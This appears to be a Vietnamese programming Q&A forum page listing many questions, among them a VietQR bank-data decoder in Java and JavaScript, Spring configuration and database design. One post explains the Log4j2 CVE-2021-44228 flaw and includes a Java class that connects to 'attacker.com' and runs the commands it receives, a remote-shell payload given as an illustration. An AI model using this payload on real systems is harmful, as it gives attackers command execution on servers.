Avatar
2
Nguyễn Thái Sơn Professional
Nguyễn Thái Sơn Professional
thu hồi 1 thread trong Java
<div class="markdown-block">em có 1 thread xử lý như sau : </div><pre> while (true) { System.out.println(&quot;3&quot;); Thread.sleep(1000); } </pre><div class="markdown-block"></div><div class="markdown-block">Làm thế nào để thu hồi thread này vậy ạ</div>
Answer
Avatar
0
Nguyen Nam Teacher
Nguyen Nam Teacher
So sánh clustered index và non-clustered index trong SQL Server
<div class="markdown-block">Như tiêu đề câu hỏi ạ. </div><div class="markdown-block">Mọi người cho em hỏi sự khác nhau giữa 2 loại index trên là gì ạ? </div><div class="markdown-block">Khi nào thì nên dùng loại nào ạ? </div><div class="markdown-block">Em cảm ơn.</div>
Answer
Avatar
0
vm5j9xlxja4j0rwc Beginner
Cho em hỏi về api document của viettel post ạ
<div class="markdown-block">Cho em hỏi về api document của viettel post ạ, quy trình lấy token như thế nào ạ. Em cảm ơn</div>
Answer
Avatar
0
tvd12 Enlightened
tvd12 Enlightened
Cắt text bị dài trong thẻ span
<div class="markdown-block">Mình có đoạn html này nó đang không cắt bỏ được phần phần text quá dài vượt khổ, giờ phải bổ sung thuộc tính css gì mọi người nhỉ? </div><div class="markdown-block">&lt;div class="col-12"&gt; </div><div class="markdown-block">&lt;label class="mr-1"&gt;File name:&lt;/label&gt;&lt;span id="fileName"&gt;247054726_713680412923342_7496660341076819024_n.png&lt;/span&gt; </div><div class="markdown-block">&lt;/div&gt; </div><div class="markdown-block">&lt;img class="alignnone size-full wp-image-3113" src="https://stackask.com/wp-content/uploads/2021/11/Screenshot-2021-11-14-at-22.11.46.png" alt="" /&gt;</div>
Answer
Avatar
1
Phạm Huy Thiên Beginner
Dịch ngược data QRcode VN về thông tin ngân hàng
<div class="markdown-block">Dạo gần đây em có thấy anh Dũng chia sẻ về thư viện generate data tạo QR code, nhưng không thấy có thư viện nào dịch ngược lại từ data QR code ra thông tin của ngân hàng.</div><div class="markdown-block">Ai có thuật toán giải mã thì cho em xin với ạ, code js thì càng tốt ạ.</div><div class="markdown-block">Em cảm ơn!</div><h1 class="markdown-heading"><strong>Giải quyết</strong></h1><div class="markdown-block">Cảm ơn anh @tdv12, đoạn code sau hỗ trợ dịch ngược QRcode sang thông tin ngân hàng, có hỗ trợ không có thông tin số tiền và nội dung chuyển tiền:</div><div class="markdown-block">Ngôn ngữ <code class="markdown-inline markdown-inline-code">JAVA</code></div><div class="markdown-block markdown-code-block position-relative overflow-auto source-java"><pre> <span class="pl-k">package</span> com.thiendz.test; <span class="pl-k">import</span> java.util.HashMap; <span class="pl-k">import</span> java.util.Map; <span class="pl-k">public</span> <span class="pl-k">class</span> VietQRDecoder { <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> String PREFIX = <span class="pl-s">"000201010212"</span>; <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> String SUFFIX = <span class="pl-s">"6304"</span>; <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_11_PREFIX = <span class="pl-s">"0010A00000072701"</span>; <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_2_PREFIX = <span class="pl-s">"5303704"</span>; <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> String AMOUNT_HEADER = <span class="pl-s">"54"</span>; <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> String PART_21_PREFIX = <span class="pl-s">"5802VN62"</span>; <span class="pl-k">private</span> <span class="pl-k">static</span> <span class="pl-k">final</span> <span class="pl-k">int</span> CHECK_SUM_LENGTH = 4; <span class="pl-k">public</span> <span class="pl-k">static</span> <span class="pl-k">void</span> main(String[] args) { Map&lt;String, String&gt; information = <span class="pl-k">new</span> HashMap&lt;&gt;(); // String input = <span class="pl-s">"00020101021238540010A00000072701240006970436011010137721710208QRIBFTTA530370454061000005802VN62090805Hello63049F12"</span>; // String input = <span class="pl-s">"00020101021238560010A0000007270126000697100501121133666688880208QRIBFTTA53037045802VN6304AAAB"</span>; // String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST001630478FB"</span>; // String input = <span class="pl-s">"00020101021238580010A000000727012800069704070114190375154450150208QRIBFTTA53037045802VN62120808BTEST00263049629"</span>; String input = <span class="pl-s">"00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5"</span>; String parts = input.substring( PREFIX.length(), input.length() - SUFFIX.length() - CHECK_SUM_LENGTH ); parts = parts.substring(2); <span class="pl-k">int</span> part1Length = Integer.parseInt(parts.substring(0, 2)); parts = parts.substring(2); String part1 = parts.substring(0, part1Length); part1 = part1.substring(PART_11_PREFIX.length()); <span class="pl-k">int</span> part12Length = Integer.parseInt(part1.substring(0, 2)); part1 = part1.substring(2); String part12 = part1.substring(0, part12Length); part12 = part12.substring(2); <span class="pl-k">int</span> bankIdLength = Integer.parseInt(part12.substring(0, 2)); part12 = part12.substring(2); String bankId = part12.substring(0, bankIdLength); information.put(<span class="pl-s">"bankId"</span>, bankId); part12 = part12.substring(bankIdLength); part12 = part12.substring(2); <span class="pl-k">int</span> bankAccountLength = Integer.parseInt(part12.substring(0, 2)); part12 = part12.substring(2); String bankAccount = part12.substring(0, bankAccountLength); information.put(<span class="pl-s">"bankAccount"</span>, bankAccount); parts = parts.substring(part1Length); String part2 = parts.substring(PART_2_PREFIX.length()); information.put(<span class="pl-s">"amount"</span>, <span class="pl-s">"0"</span>); <span class="pl-k">if</span> (part2.startsWith(AMOUNT_HEADER)) { part2 = part2.substring(2); <span class="pl-k">int</span> amountLength = Integer.parseInt(part2.substring(0, 2)); part2 = part2.substring(2); String amount = part2.substring(0, amountLength); information.put(<span class="pl-s">"amount"</span>, amount); part2 = part2.substring(amountLength); } information.put(<span class="pl-s">"message"</span>, <span class="pl-s">""</span>); <span class="pl-k">if</span> (part2.length() - PART_21_PREFIX.length() &gt; PART_21_PREFIX.length()) { part2 = part2.substring(PART_21_PREFIX.length()); <span class="pl-k">int</span> part21Length = Integer.parseInt(part2.substring(0, 2)); part2 = part2.substring(2); String part21 = part2.substring(0, part21Length); part21 = part21.substring(2); <span class="pl-k">int</span> messageLength = Integer.parseInt(part21.substring(0, 2)); part21 = part21.substring(2); String message = part21.substring(0, messageLength); information.put(<span class="pl-s">"message"</span>, message); } System.out.println(information); } } </pre></div><div class="markdown-block">Ngôn ngữ <code class="markdown-inline markdown-inline-code">Js</code></div><div class="markdown-block markdown-code-block position-relative overflow-auto source-javascript"><pre> class Qr { <span class="pl-k">static</span> PREFIX = <span class="pl-s">'000201010212'</span>; <span class="pl-k">static</span> SUFFIX = <span class="pl-s">'6304'</span>; <span class="pl-k">static</span> PART_11_PREFIX = <span class="pl-s">'0010A00000072701'</span>; <span class="pl-k">static</span> PART_2_PREFIX = <span class="pl-s">'5303704'</span>; <span class="pl-k">static</span> AMOUNT_HEADER = <span class="pl-s">'54'</span>; <span class="pl-k">static</span> PART_21_PREFIX = <span class="pl-s">'5802VN62'</span>; <span class="pl-k">static</span> CHECK_SUM_LENGTH = 4; <span class="pl-k">static</span> decoder(input) { let parts = input.substring( Qr.PREFIX.length, input.length - Qr.SUFFIX.length - Qr.CHECK_SUM_LENGTH ); parts = parts.substring(2); let part1Length = parseInt(parts.substring(0, 2)); parts = parts.substring(2); let part1 = parts.substring(0, part1Length); part1 = part1.substring(Qr.PART_11_PREFIX.length); let part12Length = parseInt(part1.substring(0, 2)); part1 = part1.substring(2); let part12 = part1.substring(0, part12Length); part12 = part12.substring(2); let bankIdLength = parseInt(part12.substring(0, 2)); part12 = part12.substring(2); let bankId = part12.substring(0, bankIdLength); part12 = part12.substring(bankIdLength); part12 = part12.substring(2); let bankAccountLength = parseInt(part12.substring(0, 2)); part12 = part12.substring(2); let bankAccount = part12.substring(0, bankAccountLength); let amount = 0; parts = parts.substring(part1Length); let part2 = parts.substring(Qr.PART_2_PREFIX.length); console.log(part2) <span class="pl-k">if</span> (part2.startsWith(Qr.AMOUNT_HEADER)) { part2 = part2.substring(2); let amountLength = parseInt(part2.substring(0, 2)); part2 = part2.substring(2); amount = part2.substring(0, amountLength); part2 = part2.substring(amountLength); } let message = <span class="pl-s">''</span>; <span class="pl-k">if</span> (part2.length - Qr.PART_21_PREFIX.length &gt; Qr.PART_21_PREFIX.length) { part2 = part2.substring(Qr.PART_21_PREFIX.length); let part21Length = parseInt(part2.substring(0, 2)); part2 = part2.substring(2); let part21 = part2.substring(0, part21Length); part21 = part21.substring(2); let messageLength = parseInt(part21.substring(0, 2)); part21 = part21.substring(2); message = part21.substring(0, messageLength); } <span class="pl-k">return</span> { bankId, bankAccount, amount, message }; } } console.log(Qr.decoder(<span class="pl-s">'00020101021238580010A000000727012800069704150114190375154450150208QRIBFTTA5303704540410005802VN6304DDD5'</span>)) </pre></div>
Answer
Avatar
0
Vu Luong Anh Pundit
So sánh GraphQL và REST API
<div class="markdown-block">Cho em hỏi điểm mạnh và điểm yếu khi so sánh GraphQL và REST API, đặc biệt khi triển khai dự án thực tế ạ.</div>
Answer
Avatar
1
toilahtc Beginner
toilahtc Beginner
Làm sao để cấu hình tới 2 database trong 1 project spring boot?
<div class="markdown-block">Làm sao để cấu hình tới 2 database trong 1 project spring boot? </div><code>No qualifying bean of type 'org.springframework.transaction.PlatformTransactionManager' available: expected single matching bean but found 2</code><code>@Transactional</code><code>@Transactional(transactionManager = "mmTransactionManager")</code><div class="markdown-block"></div><div class="markdown-block">Anh em nào biết thì mong giúp đỡ em ạ, em cảm ơn. Do text quá dài nên em xin gửi cấu hình ở dưới comment.</div>
Answer
Avatar
1
Bảo Ngô Beginner
Bảo Ngô Beginner
Java Spring rate limiter block specific duration when ratio reached
<div class="markdown-block">Currently I have a requirement: Apply rate limiter for an API. If this API get called over 100 times per 5 sec then the API will be blocked for 10 mins. I don't know if there is any java lib can fullfill this requirement. If the requirement is "Allow 100 calls per 5 sec" or "Allow 100 calls per 10 min" then I can either user Bucket4j: </div><pre> Bandwidth b = Bandwidth.classic(100, Refill.intervally(100, Duration.ofSeconds(5))); //Bandwidth b = Bandwidth.classic(100, Refill.intervally(100, Duration.ofMinutes(10))); Bucket bk = Bucket.builder().addLimit(b).build(); //then if(bk.tryConsume(1)) { //stuff } else { throw } </pre><div class="markdown-block"></div><div class="markdown-block">or Resilence4j: </div><pre> RateLimiterConfig config = RateLimiterConfig.custom() .limitRefreshPeriod(Duration.ofSeconds(5)) .limitForPeriod(100) .timeoutDuration(Duration.ofSeconds(1)) .build(); RateLimiterRegistry rateLimiterRegistry = RateLimiterRegistry.of(config); RateLimiter rateLimiterWithCustomConfig = rateLimiterRegistry .rateLimiter(&quot;name2&quot;, config); CheckedRunnable restrictedCall = RateLimiter .decorateCheckedRunnable(rateLimiterWithCustomConfig, this::doStuff); //then Try.run(restrictedCall).onFailure(this::throwEx) </pre><div class="markdown-block"></div><div class="markdown-block">But the requirement is "Allow 100 calls per 5 sec, if more, block 10 min". Is there any lib can work? Please suggest me a solution for this case. Thank you</div>
Answer
Avatar
2
monkey Enlightened
monkey Enlightened
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
<div class="markdown-block">Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228) </div><a href="https://tvd12.com/chain-of-responsibility-design-pattern/" target="_blank">chain of responsibility design pattern</a><code>Appender</code><code>logger.info("Hello: {}", param)</code><code>StrSubstitutor.resolveVariable</code><a href="https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea" target="_blank">Interpolator</a><div class="markdown-block">. </div><div class="markdown-block">Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này: </div><pre> public class Log4jShell { static { try { Socket socket = new Socket(&quot;attacker.com&quot;, 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } } </pre><div class="markdown-block"></div><code><a href="https://web_site_cua_chung_ta/hello?name=" class="markdown-link" target="_blank">https://web_site_cua_chung_ta/hello?name=</a></code><div class="markdown-block">, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm. </div><code>2.0 &lt;= log4j-core &lt;= 2.14.1</code><div class="markdown-block">. </div><div class="markdown-block">Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé. </div><a href="https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks" target="_blank">https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks</a>
Answer
Avatar
0
Cường Nguyễn Hữu Beginner
Thiết kế db ứng dụng chat
<div class="markdown-block">Chào mọi người. Em vừa thiết kế db ứng dụng chat. Gồm các chức năng chính: </div><div class="markdown-block">Đăng nhập, đăng xuất khỏi 1 hoặc nhiều thiết bị, đăng ký </div><div class="markdown-block">Gửi otp để reset mật khẩu, thay đổi thông tin cá nhân </div><div class="markdown-block">Thêm người vào nhóm, gửi yêu cầu kết bạn </div><div class="markdown-block">Thay đổi tên trong đoạn chat </div><div class="markdown-block">Nhắn tin 1-1, 1-n </div><div class="markdown-block">Xem ai đã xem tin nhắn </div><div class="markdown-block">.... </div><div class="markdown-block">Mong mọi người đóng góp ý kiến để em hoàn thiện bài tập lớn trên trường ạ. Thiết kế hiện tại của em là: </div><div class="markdown-block">&lt;img src="https://stackask.com/wp-content/uploads/2022/02/chat-db.jpeg" alt="" class="alignnone size-full wp-image-4530" /&gt;</div>
Answer
Avatar
1
tvd12 Enlightened
tvd12 Enlightened
Ngôn ngữ lập trình được tạo ra như thế nào?
<div class="markdown-block">Thực sự mình cũng rất muốn hiểu ngôn ngữ lập trình được tạo ra ntn. Bạn có thể nói sơ qua hoặc cho mình vài link để tìm hiểu được không. Tks</div>
Answer
Avatar
2
hovanvydut Beginner
hovanvydut Beginner
Comment, Reply, Notification Database Design
<div class="markdown-block">Tình cờ là em cũng đang tự làm một pet project (một blog cho phép mọi người đăng bài) trước khi biết đến stackask, và em cũng đang làm tính năng comment, reply, notification. Thì hình dứoi đây là ảnh em thiết kế database hiện tại. </div><div class="markdown-block">Em làm 2 table là comment/reply là để lúc em load thì chỉ load comment và số reply, và chỉ load reply khi người dùng chọn "show more reply" thì mới load các reply của comment đấy. Nhưng chia 2 bảng như này thì em lại phải làm 2 bảng vote cho comment và reply. Ngoài ra em cũng làm bảng notification như vậy, khi mà có ngừoi reply, comment, up/down vote comment/reply thì insert vào bảng notification. Mọi người cho em góp ý table như vậy được chưa ạ? </div><div class="markdown-block">Và em thắc mắc xíu là trang stackask của mình hình như phần notification nó realtime ạ, em thấy ko cần load trang mà nó vẫn show noti mới cho mình. Không biết bên dưới nó dùng gì ạ? </div><div class="markdown-block">&nbsp; </div><div class="markdown-block">Em cảm ơn mọi ngừoi đã đọc post ạ. </div><div class="markdown-block">&lt;img class="alignnone size-full wp-image-652" src="https://stackask.com/wp-content/uploads/2021/08/image_2021-08-07_103623.png" alt="" /&gt;</div>
Answer